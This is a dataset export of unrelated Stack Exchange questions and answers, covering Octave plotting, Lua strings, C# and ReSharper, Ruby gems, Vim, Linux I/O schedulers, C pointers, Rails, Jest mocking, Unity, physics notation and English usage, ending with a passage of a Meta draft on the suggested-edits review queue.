text
stringlengths
70
452k
dataset
stringclasses
2 values
Why does my Octave subplot disappear? When I plot in octave I can left-click two points in the plot and it will zoom in on that section. However when I create two side-by-side plots in Octave and try to zoom in the left plot disappears. Is this not the correct way to navigate subplots in Octave? Following is an example of commands that exhibit the behavior. x = [10:1:100]; subplot(1,2,1); plot(x); subplot(1,2,2); plot(x); What plot viewer are you using? I think you can check this with getenv("GNUTERM"). @Engineero It only appears to happen with gnuplot. I have since discovered that it works as expected when using fltk so it must be a bug. When creating several subplots, Octave says: "the next call to subplot activates the second subplot area, but does not re-partition the figure." So Octave activates the last subplot. If you try and zoom in/out it will be on this last plot. Maybe your axes are linked?
common-pile/stackexchange_filtered
Lua: Remove a character from string How would i for an example remove the h from "helloh" so it will look like "ello" I have no idea what else to write but it looks like i need to write some more text and maybe add some code so this is just junk. print("junk 1") print("junk 2") print("junk 4") You can used string.gsub to replace characters, gsub stands for global subtitusion. print(("helloh"):gsub("h", "")) -- replace all instances of `h` with empty string
common-pile/stackexchange_filtered
CanBeNull and ReSharper - using it with async Tasks? I recently figured out that you can use the [CanBeNull] annotation in C# to tell ReSharper (and other addons) that a method can return null. This is great, because it makes ReSharper remind me when I don't handle those situations. However, for async methods that return a Task or a Task<T>, the behavior is unexpected. For instance, consider this example: [CanBeNull] public async Task<string> GetSomeName() { var time = DateTime.Now; if(time.Second == 30) { return "Jimmy"; } else { return null; } } I know that this scenario is a bit weird, but for simplicity, bear with me. If I (with ReSharper enabled) then try to invoke the method elsewhere, it warns incorrectly. For instance: var myValue = await GetSomeName(); var subValue = myValue.Trim(); //here, ReSharper should warn me that subValue is null. Here, ReSharper warns me at the incorrect place. The first line generates a warning (and it claims that the task itself can actually be null, which is wrong). The second line doesn't generate a warning, which is where the warning should have been. If I were to comply with ReSharper entirely, this code would have to be written: var myTask = GetSomeName(); if(myTask != null) { //this is silly, and is always true, but ReSharper thinks that the Task can be null due to the CanBeNull attribute. var myValue = await myTask; var subValue = myValue.Trim(); //this could generate an error, but ReSharper doesn't warn me. } Is this a bug with ReSharper that I should submit? Or am I using the annotation incorrectly? I guess we can all agree that the task itself can't ever be null, so I don't know how this makes sense. I recommend that you submit it as a bug to Re# (historically, they were slow to work with async, and they still have lots of quirks if you use async in a PCL). They may not be able to change CanBeNull, but they should at least be able to create a CanBeNullAsync. Well CanBeNull is not their invention. It is part of C#. In that case, you should probably ask the BCL team for guidance. CanBeNull is one of ReSharper's annotation attributes. I don't believe it exists in the BCL Ivan Serduk said here: Starting from ReSharper 9.2 EAP4 attributes "ItemCanBeNull" and "ItemNotNull" can be applied to entities of type "Task<T>" and "Lazy<T>" It works perfect! P.S. Please don't forget to update JetBrains Annotations. You've hit a limitation of ReSharper's null value analysis. It is trying to treat the return value (the task) as potential null, rather than the result. However, that's a great feature request - I'd suggest voting for this issue: http://youtrack.jetbrains.com/issue/RSRP-376091
common-pile/stackexchange_filtered
Can one start a paragraph with the word "also"? Just wanted to ask this for a school thing... Just a little confused, because no other website already has the answer and if you start it with also, wouldn't it sound wrong? If I could get a response as soon as possible, that'd be great! Thanks! also can be used to start a sentence and such a sentence could be the first in a paragraph. yourdictionary.com As in: Also, as I have said, the bubbles themselves within the ice operate as burning-glasses to melt the ice beneath. Yeah, but such sentences normally sound defensive or pissed. As in "Also, as I may have already mentioned and been completely ignored by you morons ..." Something like that. Fred Jones is the current front-runner for EL&Uer of the month. Fred is a blah, blah, blah, working in blah, blah, blah. Also in the running for EL&Uer of the month is Bill Little. Bill is considered big stuff in Littlesburg, Ohio. It would sound wrong to me to use also to introduce the paragraph. The only time I would put also at the beginning of a paragraph would be if the also introduced a phrase that happened to be at the beginning of the paragraph: Also discussed in the same book is the way pigs can be used to find truffles.
common-pile/stackexchange_filtered
What is C-equivalent of reference to a pointer "*&" Could someone please let me know the C-equivalent of reference to a pointer "*&"? In other word, if my function is like this in C++: void func(int* p, int*& pr) { p++; pr++; } How would I changed the second argument while converting it in C? UPDATE: @MikeDeSimone : Please let me know if I understood the translated code properly? Let me start by initializing variable: int i = 10; int *p1 = &i; int **pr= &p1; So, when you performed (*pr)++ , that is basically equivalent to: (p1)++ However, I fail to understand how would that look from inside main()? Question 2: what would I do if I have code snippet like this? void pass_by_reference(int*& p) { //Allocate new memory in p: this change would reflect in main p = new int; } Same as any time you want reference-like behaviour in C, pass the address. You use a pointer to a pointer. void func(int* p, int** pr) { p++; (*pr)++; } See, for example, the second parameter to strtoul, which the function uses to return the point at which parsing stopped. Sorry for the late update... Please let me know if I understood the translated code properly? Let me start by initializing variable: int i = 10; int *p1 = &i; int **pr= &p1; So, when you performed (*pr)++ , that is basically equivalent to: (p1)++ Yes. However, I fail to understand how would that look from inside main()? I don't understand how main comes into this; we were talking about func. For this discussion, main would be a function like any other. Variables declared within a function only exist during execution of that function. Question 2: what would I do if I have code snippet like this? void pass_by_reference(int*& p) { //Allocate new memory in p: this change would reflect in main p = new int; } The thing to remember about references passed into functions is that they are just saying "this parameter is a reference to the parameter passed to the function, and changing it changes the original. It is not a local copy like non-reference parameters." Reviewing references in practice: If your function is declared void func(int foo); and called with int k = 0; foo(k); then a copy of k is made that func sees as foo. If func changes foo, k does not change. You will often see functions "trash" their passed-in-by-copy parameters like this. If your function is declared void func(int& foo); and called with int k = 0; foo(k); then a reference to k is made that func sees as foo. If func changes foo, it is actually changing k. This is often done to "pass back" more values than just the return value, or when the function needs to persistently modify the object somehow. Now the thing is that C doesn't have references. But, to be honest, C++ references are C pointers under the hood. The difference is that references cannot be NULL, should not be taken as pointing to the start of a C array, and references hide the pointer operations to make it look like you're working on the variable directly. So every time you see a reference in C++, you need to convert it to a pointer in C. The referred-to type does not matter; even if it's a pointer, the reference turns into a pointer itself, so you have a pointer-to-pointer. So what's a pointer, anyway? Remember that memory is just a big array of bytes, with every byte having an address. A pointer is a variable that contains an address. C and C++ give pointers types so the language can determine what kind of data the pointer is pointing to. Thus an int is an integer value, and an int* is a pointer to an integer value (as opposed to a pointer to a character, or structure, or whatever). This means you can do two general things with a pointer: you can operate on the pointer itself, or you can operate on the object the pointer is pointing to. The latter is what happens when you use unary prefix * (e.g. *pr) or -> if the pointer points to a structure. (a->b is really just shorthand for (*a).b.) Thanks for answering. Thanks for answering. I am still very confused about pointer-to-pointer and reference-to-pointer business. Please see the update. 1) Could you please point me to relevant resource so that I can understand properly? Understanding C pointers is tricky. The most efficient way is to get help from a friend who already understands them. Just reading from books often does not do it. It is a bit like learning to bicycle: theory does not help, but it is easy with a little help from a friend.
common-pile/stackexchange_filtered
I can't install one of the gems in ruby I'm trying to get my git repository work, but i can't. In my command line i'm at the reprository's directory. I gave the "bundle install" command to get all the gems i need to work, but i can't finish it. It keeps telling me this error: Using bcrypt 3.1.10 Installing debug_inspector 0.0.2 with native extensions Gem::Ext::BuildError: ERROR: Failed to build gem native extension. C:/Ruby22/bin/ruby.exe -r ./siteconf20150726-3952-czpz5l.rb extcon creating Makefile make "DESTDIR=" clean make "DESTDIR=" generating debug_inspector-i386-mingw32.def make: *** No rule to make target `/C/Ruby22/include/ruby-2.2.0/ruby.h' y `debug_inspector.o'. Stop. make failed, exit code 2 Gem files will remain installed in C:/Ruby22/lib/ruby/gems/2.2.0/gems/ ector-0.0.2 for inspection. Results logged to C:/Ruby22/lib/ruby/gems/2.2.0/extensions/x86-mingw32 ug_inspector-0.0.2/gem_make.out An error occurred while installing debug_inspector (0.0.2), and Bundle continue. Make sure that `gem install debug_inspector -v '0.0.2'` succeeds befor bundling. this might help http://stackoverflow.com/a/24666830/1197775 Like juanpastas said, this kind of thing is usually a compatibility problem. What version of ruby and rails are you using? It seems you have Windows machine. Make sure you installed right version of Ruby Devkit so that native extensions can be built.
common-pile/stackexchange_filtered
Adding more schedulers I have seen different IO schedulers in tutorials, e.g. cfq, noop, but when I test on my linux, I don't see them. $ cat /sys/block/sda/queue/scheduler [mq-deadline] none $ uname -r 5.13.0-27-generic $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 20.04.3 LTS Release: 20.04 Codename: focal I would like to know if I can do anything more to see more schedulers. Any thought? UPDATE: Based on the suggestion, I see the following IOSCHED values $ grep IOSCHED /boot/config-5.13.0-27-generic CONFIG_MQ_IOSCHED_DEADLINE=y CONFIG_MQ_IOSCHED_KYBER=m CONFIG_IOSCHED_BFQ=m CONFIG_BFQ_GROUP_IOSCHED=y Also, there are two modules in /lib/modules: $ ls /lib/modules/5.13.0-27-generic/kernel/block/ bfq.ko kyber-iosched.ko When I load the modules, I don't see bfq in the list. $ cat /sys/block/sda/queue/scheduler [mq-deadline] none $ sudo modprobe kyber-iosched bfq $ cat /sys/block/sda/queue/scheduler [mq-deadline] kyber none Is that a correct output? In most distribution kernels, other schedulers are available, but they need to be loaded; for example sudo modprobe kyber-iosched sudo modprobe bfq will load the Kyber and BFQ I/O schedulers (see block/Kconfig.iosched for details), and they should then be selectable: $ cat /sys/block/sda/queue/scheduler [mq-deadline] kyber bfq none Look at the contents of /lib/modules/$(uname -r)/kernel/block and IOSCHED settings in your kernel’s .config file (/boot/config-$(uname -r)).
common-pile/stackexchange_filtered
Group by on a List And Return Top 1 Row I have a list acd with key value pair. var acd = zebra.Where(v => v.Key.StartsWith("alpha")); KEY, VALUE alphaABC, TOP323 alphaBCD, BIG456 alphaDEF, TOP323 What i would want is to get only One Key (Any) from multiple keys which have same values. In this case 1 and 3 have same values. I would like to get a new list like below: alphaABC, TOP323 alphaBCD, BIG456 Basically unique Values only. Any Help ? You can always use a HashSet<T> as a helping data structure, iterate your collection and try adding every key to HashSet, which allows only one instance of each T var items = zebra .Where(v => v.Key.StartsWith("alpha")) .GroupBy(pair => pair.Value) .Select(group => group.First()) .ToArray(); foreach(var item in items) Console.WriteLine("{0}, {1}", item.Key, item.Value); List<KeyValuePair<string, string>> data = new List<KeyValuePair<string, string>>() { new KeyValuePair<string, string>("ABC", "TOP323"), new KeyValuePair<string, string>("BCD", "BIG456"), new KeyValuePair<string, string>("DEF", "TOP323") }; var result = (from d in data group d by d.Value into g select new { row = g.FirstOrDefault() }).ToList(); Or with more lambda goodness: var result = data.GroupBy(x => x.Value).Select(x => x.FirstOrDefault()); Use a Dictionary<TKey,TValue> var dict = new Dictionary<string,string>(zebra.Count); foreach (KeyValuePair pair in zebra) { if (!dict.ContainsKey(pair.Value)) { dict.Add(pair.Value, pair.Key); } } Note that we invert the meaning of key and value here. We use pair.Value as key in the dict, since we want unique values. As an alternative you could also declare the dictionary as Dictionary<string,KeyValuePair<string,string>> and add like this dict.Add(pair.Value, pair);
common-pile/stackexchange_filtered
Vim global command with two search ranges to yank multiple sections I wanted to create a global command to yank multiple sections of text: :g/BEGIN/.,/END/yank A The idea is that I would assemble, in register A, the (multiple) sections in a file which occur between the markers "BEGIN" and "END:" BEGIN Section 1 END BEGIN Section 2 END Unfortunately this seems to act somewhat chaotically on VIM. Sometimes the global seems to select multiple sections (i.e. it doesn't stop the selection at the first "END" it finds, but instead selects up to a farther one, sometimes a single section. The number of lines selected by the same global seems to change for the same file somewhat randomly based on unrelated edits. Obviously I'm doing something wrong. Is there a correct syntax for this - Selecting and yanking multiple sections delineated by markers? I haven't found much online to validate this syntax - although there is plenty of docs for ex ranges, and for search ranges, and for ranges with globals, I've never seen all three combined like this. For your given input, I don't see any problem and I use such construct frequently without problems (so far). You can shorten it a bit to g/BEGIN/,/END/y A. Can you provide inputs that get mangled as you mention? After Lieven verified that my syntax was correct (it was) I discovered the problem had something to do with the use of folds in my text. When I unfolded all the text, I got the expected behavior. When I had folded text, the global command didn't always find the first "END" marker - sometimes it seemed to yank the whole document. This seems like a bug to me - why would the first search term of the global command work despite the presence of folds, but the second term not work? But maybe this is expected behavior. Here is some sample text which shows the issue: {{{ BEGIN 111 END }}} {{{ BEGIN 222 END }}} When unfolded, the command g/BEGIN/.,/END/yank A finds the correct text and when folded, the global returns an error. In my scenario, "unfold the text" is a viable solution, so I'm posting here for the sake of posterity. I don't know if it's a bug or not but it is not what I would have expected. Good to know, thanks. Correct analysis. It's not a bug; Ex commands like :yank work on all folded lines; you really need to turn of folding to avoid this.
common-pile/stackexchange_filtered
How to dynamically create Tab Pages in a Tab Control with a pre-existing Windows Form in C# As the title suggests, I'm looking to dynamically create Tab Pages within a Tab Control. I've just begun learning C# and the app I'm making (shown below) is a generic stock price application that works great as is with a SINGLE user input. I'd like to expand it to take multiple inputs (amzn --> amzn,msft,mchp). As of right now it handles multiple user inputs, but as you might guess without working Tab Controls it's just overwriting them super quick and ending on the last string in the array. I'd like to be able to have the multiple user inputs dynamically create new Tab Pages that holds all the same content as the base Form but each with different input parameters (each stock symbol). At the moment I can get it to create the new Tab Pages with the correct names without any problems, it's just populating the tabs with the content. I can get it to print to a single tab, but it won't print to all of them.. Image of base App Form (No tab implementation): My biggest fear is that I'll have to do a rewrite to make it compatible with dynamically created tabs, but from all the googling I've done I haven't come across a solution that quite hits the mark for this (i.e. dynamically populating with a pre-existing form's contents) I've tried just wrapping my form content building in: private void btnSubmit_Cick(object sender, EventArgs e) { string userInput = txtUserInput.Text; char[] delimiters = { ',', '+', ' ', '-', '_', '.' }; string[] requests = userInput.Split(delimiters); foreach(string str in requests) { string requestString = str; var page = new TabPage(str); //Add content to page (i.e. page.Controls.Add(_____)) //by cloning the base form's controls //then finally add the page to the tab control tabControl1.TabPages.Add(page); page.Select(); } } This method only seems to populate the last tab that is created though, it wipes out all the other prior tabs for some reason.. Any help is greatly appreciated! Create a dummy Windows Forms application. Put a Tab Control on the form. Then add two Tab pages. Put one or a few simple controls on each tab page. Compile it and make sure it works. Then open your "MyForm.Designer.cs" file and see what the designer did. (adding the control to the form, adding the two pages to the control, adding the simple controls to the pages). You are going to what to do the same thing in your code. If the pages are truly dynamic, you'll need a way to keep track of them (by naming them, putting them into a collection, ...) A simple solution is to wrap what you have in the existing app in a custom TabPage or other UserControl, and create/add those to your TabControl. Provide properties to set the appropriate data on your custom control: public class StockDataPanel : TabPage { // have Labels, RichTextBoxes, etc to display the data you need public string StockSymbol { set => _stockSymbolLabel.Text = value; } // etc for other data you need to give to the control to display } In your button's click event handler, you create an instance of this new control and populate the data appropriately: private void Button_Click(s, e) { foreach (string stock in stocks) { StockDataPanel panel = new StockDataPanel(); panel.StockSymbol = "AMZN"; panel.CurrentPrice = 387.98m; _tabControl.TabPages.Add(panel); } } This allows you to reuse most of what you've already done, by wrapping it in its own control. If you want to set some properties together (e.g., high, low, current price), provide a method which takes all 3 parameters; you can then update the little graph once after all 3 are set.
common-pile/stackexchange_filtered
Size of _SFR_IO_ADDR() result in AVR GCC I am in a situation where I need to save addresses of IO ports to variables. I've found that eg. _SFR_IO_ADDR(PORTB) gives address of PORTB. What data type do I need to reliably contain the result of this macro? Will uint8_t suffice? (I tried to google it, found nothing - sorry.) The easiest way to do it is to just use a pointer. GCC will Do The Right Thing. volatile char *pb = &PORTB; It probably will, but no one does it that way.
common-pile/stackexchange_filtered
NoMethodError: undefined method `equity=' I got an error like following, with $ bundle exec rake db:seed. I'm using rails 3.2.2, and mysql. Any other model is not defined. NoMethodError: undefined method `equity=' for #<Company:0x007fd1cdb5b2a0> /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/activemodel-3.2.2/lib/active_model/attribute_methods.rb:407:in `method_missing' /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/activerecord-3.2.2/lib/active_record/attribute_methods.rb:148:in `method_missing' /home/vagrant/codes/sample/db/seeds.rb:15:in `<top (required)>' /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/activesupport-3.2.2/lib/active_support/dependencies.rb:245:in `load' /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/activesupport-3.2.2/lib/active_support/dependencies.rb:245:in `block in load' /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/activesupport-3.2.2/lib/active_support/dependencies.rb:236:in `load_dependency' /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/activesupport-3.2.2/lib/active_support/dependencies.rb:245:in `load' /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/railties-3.2.2/lib/rails/engine.rb:520:in `load_seed' /home/vagrant/codes/sample/vendor/bundle/ruby/2.2.0/gems/activerecord-3.2.2/lib/active_record/railties/databases.rake:309:in `block (2 levels) in <top (required)>' Tasks: TOP => db:seed (See full trace by running task with --trace) My db/seed.rb is like: @company = Company.new @company.ticker = "1111" @company.name = "Cheese Company" @company.year = "2015" @company.fixed_asset = 30000 @company.current_asset = 20000 @company.equity = 35000 @company.long_term_liabilities = 8000 @company.short_term_liabilities = 7000 @company.revenue = 30000 @company.operating_income = 15000 @company.ibit = 10000 @company.net_income = 3500 @company.operation_cashflow = 5800 @company.financing_cashflow = 5500 @company.investment_cashflow = 2000 @company.save and model definition is: $ cat app/models/company.rb class Company < ActiveRecord::Base end $ cat db/migrate/20160131155124_create_companies.rb class CreateCompanies < ActiveRecord::Migration def change create_table :companies do |t| t.string :ticker t.string :name t.string :year t.decimal :fixed_asset t.decimal :current_asset t.decimal :long_term_liabilities t.decimal :short_term_liabilities t.decimal :revenue t.decimal :operating_income t.decimal :ibit t.decimal :net_income t.decimal :operation_cashflow t.decimal :financing_cashflow t.decimal :investment_cashflow t.timestamps end end end Any other model than 'Company' is not defined yet. Any help welcome, thanks a lot. do you see equity in your create_companies migration? In you migration add equity column also class CreateCompanies < ActiveRecord::Migration def change create_table :companies do |t| t.string :ticker t.string :name t.string :year t.decimal :fixed_asset t.decimal :current_asset t.decimal :long_term_liabilities t.decimal :short_term_liabilities t.decimal :revenue t.decimal :operating_income t.decimal :ibit t.decimal :net_income t.decimal :operation_cashflow t.decimal :financing_cashflow t.decimal :investment_cashflow t.decimal :equity t.timestamps end end end
common-pile/stackexchange_filtered
How to distinguish 4D and 3D vectors in handwriting? Usually vectors are denoted with bold font in printbooks and with arrows above in handwriting. In Thorn's e al. Gravitation, 4D vectors are denoted with bold and 3D vectors with bold italic. How to implement similar distinguishing in handwriting? In component notation, 3d and 4d vectors are usually distinguished using latin and greek letters respecitively, e.g. $u_i$ and $u_\mu$. Moreover, four-vectors without indices are usually just written as $u$, whereas three-vectors are denoted $\vec u$, as you say. You'll hardly find $\vec u$ denoting a four-vector. The option $\underline{u}$ is also commonly used. Here you can also add more and more underlines for tensors - the number of underlines reflect the number of indices. $|u\rangle$ would also be possible, although it's mostly used in a quantum mechanical context. An additional option, particularly useful when you ALSO have 2D vectors (or higher dimensions) is to preface your vector's name with a subscript--e.g., ${}_{4}v$ and ${}_{3}v$, etc. It's also semi-common to use different symbols for your different metrics--$g_{ab}$ for the 4-metric, $\gamma_{ab}$ for the 3-metric and $q_{ab}$ for the 2-metric, for example. That way, you can distinguish the pullback of the 2-metric onto the 2-space from its representation in the 4-space through the index convention noted by Nick Kidman. I am using \x for fat x (and similarly for other letters) in handwriting, which works very well. I also use this in my theoretical physcis FAQ. I also have LaTeX macros with the same abbreviations (except where backslash-letter already means something else, in which case I double the letter).
common-pile/stackexchange_filtered
How can I mock FileReader with jest? I've been struggling over the past couple of weeks with unit testing a file upload react component with jest. Specifically, I'm trying to test whether or not the method onReadAsDataUrl is being called from FileReader in one of my methods. This is an example method I am testing: loadFinalImage = async (file) => { const reader = new FileReader(); reader.onloadend = () => { this.setState({ imagePreviewUrl: reader.result, validCard: true, }); }; await reader.readAsDataURL(file); } This is how I am attempting to mock FileReader and test whether or not onReadAsDataUrl has been called: it('is a valid image and reader.onReadAsDataUrl was called', () => { const file = new Blob(['a'.repeat(1)], { type: 'image/png' }); wrapper = shallow(<ImageUpload />).dive(); const wrapperInstance = wrapper.instance(); const mockReader = jest.fn(); jest.spyOn('FileReader', () => jest.fn()); FileReader.mockImplementation(() => { return mockReader }); const onReadAsDataUrl = jest.spyOn(mockReader, 'readAsDataURL'); wrapperInstance.loadFinalImage(file); expect(onReadAsDataUrl).toHaveBeenCalled(); }); After I run: yarn jest, I get the following test failure: Cannot spyOn on a primitive value; string given. I assume I am getting this error because I am not importing FileReader, but I am not exactly sure how I would import it or mock it because FileReader is an interface. Here is an image of the test failure: I am a bit of a noob with jest, reactjs, and web development, but would love to learn how to conquer this problem. Some resources I have looked at so far are: Unresolved Shopify Mock of FileReader, How to mock a new function in jest, and Mocking FileReader with jasmine. Any help would be greatly appreciated! Thank you in advance. According to the docs: https://jestjs.io/docs/en/jest-object#jestspyonobject-methodname, the function signature is: jest.spyOn(object, methodName) Have you tried creating a mock for FileReader in the global and then doing jest.spyOn(global, 'FileReader') instead? I swapped jest.spyOn('FileReader', () => jest.fn()) for jest.spyOn(global, 'FileReader') and the error message changed to this line: FileReader.mockImplementation(() => { return mockReader }). The new error message is: TypeError: _sys.default.mockImplementation is not a function I personally could not get any of the jest.spyOn() approaches to work. Using jest.spyOn(FileReader.prototype, 'readAsDataURL') kept generating a Cannot spy the readAsDataURL property because it is not a function; undefined given instead error, and jest.spyOn(global, "FileReader").mockImplementation(...) returned a Cannot spy the FileReader property because it is not a function; undefined given instead error I managed to successfully mock the FileReader prototype using the following: Object.defineProperty(global, 'FileReader', { writable: true, value: jest.fn().mockImplementation(() => ({ readAsDataURL: jest.fn(), onLoad: jest.fn() })), }) Then in my test, I was able to test the file input onChange method (which was making use of the FileReader) by mocking the event and triggering it manually like this: const file = { size: 1000, type: "audio/mp3", name: "my-file.mp3" } const event = { target: { files: [file] } } wrapper.vm.onChange(event) I hope it can help anyone else looking into this. Quite possibly the OP has found an answer by now, but since I was facing pretty much the same problem, here's how I did it - taking input from another SO answer. I think @Jackyef comment is the right way to go, but I don't think the call to mockImplementation you propose is correct. In my case, the following turned out to be correct. const readAsDataURL = jest .spyOn(global, "FileReader") .mockImplementation(function() { this.readAsDataURL = jest.fn(); }); Worth noting that VSCode highlights a potential refactoring at the anonymous function. It suggests: class (Anonymous function) (local function)(): void This constructor function may be converted to a class declaration.ts(80002) I'm still relatively new to JS, so I'm afraid I can't explain what this is about, nor what refactoring should be done.
common-pile/stackexchange_filtered
GameObject isn't in the hieararchy, but its script's Update is called? Now I am facing a ghost object. There was a script attached to an object which I deleted. But for some reason, the script's update function is always being called. I added this line to the Update: Debug.Log(name), and its name is Flamestrike, but when I search it in the hierarchy, there are no results. And if I set its position to 0,1,0 (so it should be visible), it is not visible in the game either. So please help me because it drives me crazy :( Edit: Debug.Log("a"); if(transform.parent == null) { transform.SetParent(GameObject.Find("Canvas").transform); Debug.Log("Canvas"); } I also tried this, and it prints Canvas, so it sets its parent to Canvas, but I can't see any Flamestrike objects under Canvas. You should read the How to Ask a Good Question page and make sure you post an MCVE Thanks, I will work on that, sorry. But there are no scripts, which could cause this problem, because it can be instantiated by pushing a button, and I didn't edit anything there. I just deleted the object from the hierarchy, but for some reason it is not deleted. I remember that i deleted the object's child, but the the whole object got deleted. (it's a prefab) How many times does it print "Canvas"? If it's continuously then there is no game object called "Canvas". Only once, white A is printed everytime the Update is called. I'll help ya debug it, but it'd be easier if you can just chat with me. This isn't really the best questions for SO, do you have like gmail or something? Are you on the unity3D IRC? I'd say here but you don't have enough reputation yet. I am very curious about it. Please post an answer when you find solution. Debug.Log(name); will print the name of the script (i.e. MonoBehaviour.name), not the name of the GameObject it's attached to. You want Debug.Log(gameObject.name); instead. First I tried that, and it gave the same name (the object's name is equal to the script's name), but there is no object with that name. I'm also tracking this question, please post the solution. @trojanfoe you can also search components in hierarchy. Email sent bro, Let's get this figured out! @Tudvari try searching MonoDevelop for all references of Flamestrike. hope it will get you somewhere Sorry for the newbie question, but what do you mean by "search MonODevelep?" Ok you're over 20 reputation now, and I haven't heard back on that email yet, so maybe come join me over in the unity chatroom? http://chat.stackoverflow.com/rooms/102339/unity no, I mean... MonoDevelop is a default coding IDE for Unity, but you may as well be using Visual Studio, or xCode or whatever. Anyways, in most IDE's hitting CTRL+SHIFT+F usually brings up a window to search keywords in all scripts. So look at all the places you use the Flamestrike classes, or objects, to see if you missed out something. In MonoDevelop you can also Right Click on Flamestrike in a script, then click on > Find All References. @NikaKasradze I think he is Instantiating a prefab, and it is somehow getting hidden in the hiearchy. Not really sure why that would occur though. Log more information about gameObject (like gameObject.name), List of attached Components it's position (transform.position). This my help you find the problem. (Sorry if this is not the correct way to write this, but the comments are too short, and can't be formatted) This not fully true, I think. This hidden gameObject wasn't created via script. I dragged the prefab to the scene, then somehow I didn't delete the prefab fully. (or didn't even delete, just made it hidden) It disappeared in the hieararchy, but it wasn't deleted fully. After we made the object visible via script, now it is visible. (but only in play mode, so I can't delete it, because it is not visible in scene view) And it got some interesting components/attributes. The original story: FlameStrike - a Container for scaling purposes (empty gameObject) -FlameStrike - a gameobject with animation, FlameStrike.cs script etc. --Particle System - a part. system with this exact name. But after we found the remaining hidden object it was like this: So I don't understand what I did. It deleted some parts of the prefab, but also mixed some parts, (like adding the Particle System object's Particle System component to this FlameStrike object) then made it hidden. Is there a hotkey for this? :D Because it is not script related issue, I did this in the editor. The prefab it is referencing does not exist, note how above transform it says "missing". Could you have deleted the prefab possibly? Hm.. Possibly. I dragged the prefab to the scene, edited it, then deleted the prefab, and dragged the gameobject to the project folder, and made a new prefab. I wrote in the chat room, I hope I don't disturb you :) I'll be there shortly When Instantiating a prefab GameObject, for some reason it was being created with Hidden Flags. In order to solve this, we added the code: this.gameObject.hideFlag = HideFlags.None; which allowed the object to show up in the hiearchy finally. The only other source I could find on this was this answer, which had basically no explanation as to why it occured. http://answers.unity3d.com/questions/921819/instantiated-prefabs-not-showing-up-in-hierarchy.html (quoted below) Found the issue, not sure why but: These two ways are working (prefab is a GameObject defined elsewhere). Player1 = Instantiate(prefab) as GameObject; Instantiate(prefab) as GameObject; For some reason the prototype: Instantiate(prefabName, position, rotation); Was not working. I just ran into a similar issue: Enter play mode in editor Instantiate() an object set instance.hideFlags = HideFlags.DontSaveInBuild | HideFlags.DontSaveInEditor Exit play mode Enter play mode again (don't do anything) The old object is still having Update() called on it. My fix was to not set those flags if Application.isPlaying
common-pile/stackexchange_filtered
Review queue Help Center draft: Suggested edits queue This post is part of a larger effort to create Help Center pages for each of the Review queues. You can learn more about this project in the overview post. These posts will be locked so that everyone has a chance to review each original draft and provide feedback in the answers. We will continue to collect feedback until November 9th, 2020. We are looking for your feedback on this draft for the Suggested edits queue. When reviewing this draft please consider the following: What is essential to know about using this queue? Is there any information that’s missing or should be removed? How do I use the Suggested edits queue? Access earned at $Privilege-PostEditing reputation The primary purpose of the Suggested edits queue is to review edits contributed by users who have less than $Privilege-PostEditing reputation and determine if the suggested edits are beneficial to the post. Suggested edits should focus on improving grammar, spelling, and formatting all while maintaining the author’s original intent. For users with $Privilege-ApproveTagWikiEdits reputation, you may also see tag wiki edit suggestions in this queue. For more information about handling these reviews, see the approve tag wiki edits privilege page. Basic workflow Start by reading the edit summary and looking at the differences between the original post and the edit. Be sure to check the title (and tags, if a question) to see if they were edited and check the comments section for any information that the author may have included only in comments. Approve if the edit improves the post and doesn’t need any additional edits. Improve edit if the edit is good but incomplete, and use the edit window to fix any outstanding issues. Reject if the edit is unnecessary, destructive, or counter to the original author’s intent. Reject and edit if the suggested edit makes the post worse or doesn’t solve critical issues with the post and add your own edit - this will open an edit window allowing you to improve the post. Skip if you’re unsure whether the post was improved or not Common reasons to Approve Adds additional information or clarifies existing answer. Improves grammar, spelling or formatting of the post or other minor mistakes. Edits in information found in comments. Updates an answer if more information is available or something has changed. Adds links to sources or citations. Common reasons to Reject When rejecting an edit, you’ll need to choose a rejection reason. These are a good outline for the reasons you may need to reject a suggested edit: Spam or vandalism adds irrelevant or unattributed promotional links or mentions of products. damages or destroys the content of the post. No improvement whatsoever changes to content or formatting that are unnecessary or make the post more confusing. changes to grammar, spelling, or style that are unnecessary. Irrelevant tags tags should clearly indicate the subject of the question; reject edits that add tags that are tangential or incorrect. Clearly conflicts with author’s intent changes a post to say the opposite, or something very different from what the original post read. Attempt to reply introduces a request for clarification or question to the post’s author that should have been a comment or answer. Causes harm This reason can be used in cases where a suggestion should be prevented but none of the above or several of the above apply. You should explain why you are rejecting the suggestion so that other reviewers can understand your action. Some of the content of this page is adapted from information in our Meta Stack Exchange FAQ, which also contains more in-depth guidance if you are interested in reading more about this queue. Other drafts To review other drafts in part of this project, please see below: Review queue Help Center draft: Close votes Review queue Help Center draft: Reopen votes Review queue Help Center draft: Low-quality posts Review queue Help Center draft: Suggested edits (this post) Review queue Help Center draft: First posts Review queue Help Center draft: Late answers Stack Overflow only: Review queue Help Center draft: Triage Review queue Help Center draft: Help & improvement I don't think it's a good idea to post on November 2nd and set the dead-line to November 9th. It's unreasonable to expect volunteers to consider an issue on such short notice. @bad_coder being posted doesn't mean they're uneditable. We need them active for the review suspension change and there's not been any changes suggested that are earth shattering changes. makes changes that are too big and should be made only by the author This is dangerous; there's no clear definition for what is "too big", nor can there be - in many cases an effective edit on a question pending closure must change every word in it in order to bring it into compliance with site norms; that need not conflict with the author's intent however; it merely indicates that the author did not know how to ask their question in an appropriate fashion. Heck... Even edits that only correct spelling and grammar may change most of a post in cases where the original author is not yet comfortable writing in English, or formatting with Markdown. These are still very useful edits! The "size" of an edit is at best a heuristic; a human reviewer should always strive to understand the effect of the edit. See also: intent, magnets, and reaping where you did not sow Yeah... it's hard because even huge edits that change everything about the post... character-wise, don't necessarily change the post so much that it shouldn't be accepted since the bones and purpose of the post is still there. I'm open to other phrasings. Or, maybe the bullet point isn't necessary at all? I don't see a need for the paragraph; would instead focus more on elaborating the one above it, on intent. E.g., drop the "very different from what the original post read" bit and aim for something more like, "very different from the author's goals". Maybe include an example or two... I don't think it's about the "size" of the edit so much as it is, perhaps, the scope. Say it's unclear what a question or answer is referring to; it could be intending to ask X, but it could just as easily be intending to ask 